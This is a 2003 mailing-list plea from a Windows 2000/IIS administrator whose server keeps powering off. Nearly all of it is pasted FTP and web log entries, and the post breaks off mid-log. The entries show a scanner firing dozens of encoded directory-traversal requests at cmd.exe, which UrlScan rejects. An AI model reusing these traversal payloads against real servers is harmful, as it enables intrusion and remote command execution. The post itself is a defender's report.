Help! Hacker is turning off my server.

From: Barry (bjgarfield@yahoo.com)
Date: 03/11/03 

From: "Barry" <bjgarfield@yahoo.com>
Date: Mon, 10 Mar 2003 23:47:31 -0800

I am running Windows2000server w/IIS 5.0.
I have applied IIS Lockdown.
My server's Internet connection is through a Linksys
router which is set up only to allow access to the server
through Port 80.

Problem: My server is being hacked continuously. I noticed
because every day or so, the server is OFF. Powered-down,
as if someone pressed the power button.

I checked the ftp log and found:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-01 10:04:52
#Fields: time c-ip cs-method cs-uri-stem sc-status
10:04:52 80.14.88.60 [3]USER anonymous 331
10:04:52 80.14.88.60 [3]PASS Agpuser@home.com 530
21:54:34 213.177.159.93 [5]USER anonymous 331
21:54:34 213.177.159.93 [5]PASS Pgpuser@home.com 530

I checked the log of a web site I am hosting and found the
following:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-06 03:56:33
#Fields: date time c-ip cs-username s-ip s-port cs-method
cs-uri-stem cs-uri-query sc-status cs(User-Agent)
2003-03-06 03:56:33 148.223.64.114 - 10.101.101.10 80
HEAD /index.htm - 200 -
2003-03-06 03:56:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%255c../..%
255c../..%255c../winnt/system32/cmd.exe 404 -
2003-03-06 03:56:46 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c0%2f..%c0%2f..%
c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 03:56:53 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 03:56:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c0%af..%c0%af..%
c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:05 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c1%1c..%c1%1c..%
c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:27 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c1%9c..%c1%9c..%
c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:34 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 03:57:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 03:57:49 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 03:57:57 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 03:58:04 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_mem_bin/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 03:58:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%%35%63..%%35%63..%
%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%%35c..%%35c..%%
35c..%%35c..%%35c../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:27 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%25%35%63..%25%35%
63..%25%35%63..%25%35%63..%25%35%
63../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:34 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%255c..%255c..%
255c..%255c..%255c../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%255c../..%
255c../..%255c../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%2f..%c0%2f..%
c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 03:58:57 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:04 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%af..%c0%af..%
c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%af..%c0%af..%
c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:28 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:36 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:43 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 03:59:52 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%1c..%c1%1c..%
c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:00 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:08 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:16 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%9c..%c1%9c..%
c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:25 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:33 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/..%c1%
9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:00:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:00:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:00:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:01:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_bin/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:01:16 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/.%252e/.%
252e/winnt/system32/cmd.exe 404 -
2003-03-06 04:01:24 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%%35%63../..%%35%
63../..%%35%63../winnt/system32/cmd.exe 404 -
2003-03-06 04:01:32 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%%35c..%%
35cwinnt/system32/cmd.exe 404 -
2003-03-06 04:01:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%25%35%63..%25%35%
63..%25%35%63..%25%35%63..%25%35%
63../winnt/system32/cmd.exe 404 -
2003-03-06 04:01:49 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%25%35%63..%25%35%
63winnt/system32/cmd.exe 404 -
2003-03-06 04:01:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%252e..%
252ewinnt/system32/cmd.exe 404 -
2003-03-06 04:02:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%252f..%252f..%
252f..%252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:02:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%252f..%
252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:02:53 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c0%qf../..%c0%
qf../..%c0%qf../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:02 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:11 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c1%8s../..%c1%
8s../..%c1%8s../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c1%af../..%c1%
af../..%c1%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%c1%pc../..%c1%
pc../..%c1%pc../winnt/system32/cmd.exe 404 -
2003-03-06 04:03:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%e0%80%af../..%e0%
80%af../..%e0%80%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:04:00 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%f0%80%80%af../..%
f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:04:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_cnf/..%fc%80%80%80%80%
af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:04:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/.%252e/.%
252e/winnt/system32/cmd.exe 404 -
2003-03-06 04:04:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%%35%63../..%%35%
63../..%%35%63../winnt/system32/cmd.exe 404 -
2003-03-06 04:04:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%%35c..%%
35cwinnt/system32/cmd.exe 404 -
2003-03-06 04:05:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%25%35%63..%25%35%
63..%25%35%63..%25%35%63..%25%35%
63../winnt/system32/cmd.exe 404 -
2003-03-06 04:05:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%25%35%63..%25%35%
63winnt/system32/cmd.exe 404 -
2003-03-06 04:05:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%252e..%
252ewinnt/system32/cmd.exe 404 -
2003-03-06 04:05:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%252f..%252f..%
252f..%252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:05:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/_vti_log/..%252f..%
252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:05:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%255c..%255c..%
255c..%255c..%255c..%255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:06:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:06:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%c0%af..%c0%af..%
c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:06:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:06:30 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:06:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:06:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/check.bat/..%c0%
2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:06:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/check.bat/..%c0%
af..%c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:07:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/check.bat/..%c1%
1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:07:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/adsamples/check.bat/..%c1%
9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:07:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/..%c0%2f..%c0%2f..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:07:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:07:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/..%c1%1c..%c1%1c..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:08:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/..%c1%9c..%c1%9c..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:08:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/check.bat/..%c0%2f..%c0%
2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:08:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/check.bat/..%c0%af..%c0%
af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:08:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/check.bat/..%c1%1c..%c1%
1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:08:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/check.bat/..%c1%9c..%c1%
9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:08:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:11 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:20 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:30 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:09:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/bin/scripts/..%c1%
9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:10:09 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/c/winnt/system32/cmd.exe 404 -
2003-03-06 04:10:18 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-
bin/..\\..\\..\\..\\..\\..\\winnt\\system32\\cmd.exe 404 -
2003-03-06 04:10:26 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/..%c0%2f..%c0%2f..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:10:36 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:10:46 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/..%c1%1c..%c1%1c..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:10:54 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/..%c1%9c..%c1%9c..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:11:04 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/check.bat/..%c0%2f..%c0%
2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:11:13 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/check.bat/..%c0%af..%c0%
af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:11:22 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/check.bat/..%c1%1c..%c1%
1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:11:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi/check.bat/..%c1%9c..%c1%
9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:11:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%255c..%255c..%
255c..%255c..%255c..%255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:11:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c0%2f..%c0%2f..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:11:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c0%af..%c0%af..%c0%
af..%c0%af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:12:08 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c0%af..%c0%af..%c0%
af..%c0%af..%c0%af../win2000/system32/cmd.exe 404 -
2003-03-06 04:12:16 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c0%af..%c0%af..%c0%
af..%c0%af..%c0%af../windows/system32/cmd.exe 404 -
2003-03-06 04:12:25 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:12:33 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c1%1c..%c1%1c..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:12:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/..%c1%9c..%c1%9c..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:12:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:12:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:13:08 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:13:16 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/cgi-bin/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:13:24 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/d/winnt/system32/cmd.exe 404 -
2003-03-06 04:13:32 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:13:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:13:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:13:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:14:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:14:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:14:24 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:14:32 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/exchange/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:14:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/iisadmpwd/..%252f..%252f..%
252f..%252f..%252f..%252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:14:49 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/iisadmpwd/..%c0%af..%c0%af..%
c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:14:57 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/.%252e/.%
252e/winnt/system32/cmd.exe 404 -
2003-03-06 04:15:36 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%252e..%
252ewinnt/system32/cmd.exe 404 -
2003-03-06 04:15:44 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%252f..%252f..%
252f..%252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:15:52 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%252f..%
252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:15:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:16:35 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c0%qf../..%c0%
qf../..%c0%qf../winnt/system32/cmd.exe 404 -
2003-03-06 04:16:43 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:16:52 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c1%8s../..%c1%
8s../..%c1%8s../winnt/system32/cmd.exe 404 -
2003-03-06 04:17:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:17:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c1%af../..%c1%
af../..%c1%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:17:18 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%c1%pc../..%c1%
pc../..%c1%pc../winnt/system32/cmd.exe 404 -
2003-03-06 04:17:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/images/..%fc%80%80%80%80%
af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:17:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%%35%63..%%35%63..%%
35%63..%%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:18:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%%35%63../..%%35%
63../..%%35%63../winnt/system32/cmd.exe 404 -
2003-03-06 04:18:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%%35c..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe 404 -
2003-03-06 04:18:23 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%%35c../..%%35c../..%%
35c../winnt/system32/cmd.exe 404 -
2003-03-06 04:18:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%25%35%63..%25%35%
63..%25%35%63..%25%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:18:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%25%35%63..%25%35%
63..%25%35%63..%25%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:18:49 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%25%35%63../..%25%35%
63../..%25%35%63../winnt/system32/cmd.exe 404 -
2003-03-06 04:18:57 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:19:06 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:19:14 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%255c../..%255c../..%
255c../winnt/system32/cmd.exe 404 -
2003-03-06 04:19:22 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%255c../..%255c../..%
255c/..%c1%1c../..%c1%1c../..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:19:30 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%2f..%c0%2f..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:19:38 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%2f../..%c0%
